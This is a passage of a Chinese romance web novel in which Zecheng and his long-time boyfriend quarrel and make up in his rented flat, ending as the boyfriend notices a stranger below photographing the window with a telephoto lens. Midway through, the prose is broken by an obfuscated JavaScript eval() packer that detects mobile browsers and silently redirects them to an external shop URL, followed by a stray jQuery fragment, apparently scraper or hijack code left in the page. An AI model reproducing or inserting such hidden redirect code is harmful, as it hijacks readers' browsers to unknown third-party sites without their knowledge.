泽橙与男友高中相识，大学相爱，再到步入社会关系平淡，零零碎碎数下来也有近十年的光景。
人生还能有几个十年？
卧室里短暂争吵后，泽橙的下巴抵住膝盖蜷缩在凳子里，望向桌面食物发呆：男友对他的吸引力甚至还没这些东西来得强。
男友不傻，他能感觉到。他整理好衣物出来时，刚巧对上泽橙侧过来的脸。
坦白讲，泽橙五官容貌很难与“俊美”沾带关系，他很普通，无论浅淡眉色，还是不那么出彩的薄唇，紧抿时瞧不出唇纹，垂眼低头刘海遮盖，仅仅露出秀挺鼻尖。
如此平淡五官就是有种魔力，一点点缠绕住男友脚跟，令他不受控制向前。
“别生我气了。”
“……”
男友低头服软，亲昵蹲在泽橙身边，食指勾住泽橙粗布格子睡衣，让衣服紧贴住泽橙的身体，勾勒出其腰间曲线才作罢。
泽橙不吃他这套：“我没钱，就这一套能穿出来见你，扯坏了你也打包出去。”
“我喜欢橙橙不穿。”
男友油嘴滑舌，他笑嘻嘻，得寸进尺搂住泽橙，将他固定在怀抱里。
泽橙听到了也无视。
他再次低头，微微闭目，肩膀跟随呼吸有规律地起伏，简单丢下句别闹，别开脸就差躲走，也给了男友趁机打量的时间。
便利店工作倒班的缘故，泽橙很少有正儿八经晒太阳的机会，他肌肤呈现苍白，能清晰地捕捉皮肤下血管的纹路，藏青色如绵延道路。最近多半睡眠质量不好，眼底淤青比往常还要重，隐隐瞧出几道血色。
这种接近病态的疲倦感，令男友情不自禁抬手，食指虚虚点住他右眼角。
“喂……”
男友嗓音带笑道：“就一会儿，橙橙，一会儿。”
入手触感微凉，哪像正常的成年男性该有的体温，向下抚摸犹如触碰丝滑绸缎，泽橙抗拒烟酒，所以他模样远比同龄人要显得青春，就是太瘦、太虚，把自己团成小球的模样让男友联想到儿时饲养的幼鸟。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17948460|214061||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
泽橙不耐烦偏头：“你摸够了吗？”
“好冷漠啊——橙橙——”男友无视泽橙话语中不耐，他顺势询问对方想吃什么。
泽橙明显感觉他压不住翻腾的情绪，恶声恶气：“不吃！你明天不上班？还不走！”
男友自动屏蔽逐客令，他乐呵呵起身，轻车熟路走到厨房拿起围裙系好：“无所谓啊，去不去看我心情。”
泽橙出租屋的楼层不高，站在窗户边能看到小区郁郁葱葱的梧桐。
男友得了便宜，他脚步轻快，先是洗菜备菜，在转身一瞬间，男友视线不经意瞥向楼下前方空地。
……什么东西？
他蹙眉，眯起眼，试图看得更清楚些。
“……”
噢，那是个人。
约一米八几，瘦高，穿了件薄外套，脸模糊在树荫底，路灯光微弱，只能勉强辨认他的脚尖是朝泽橙所住的单元门。恰巧阵风吹开树影，晃出他大半张脸，以及对准泽橙窗户的长焦相机镜头。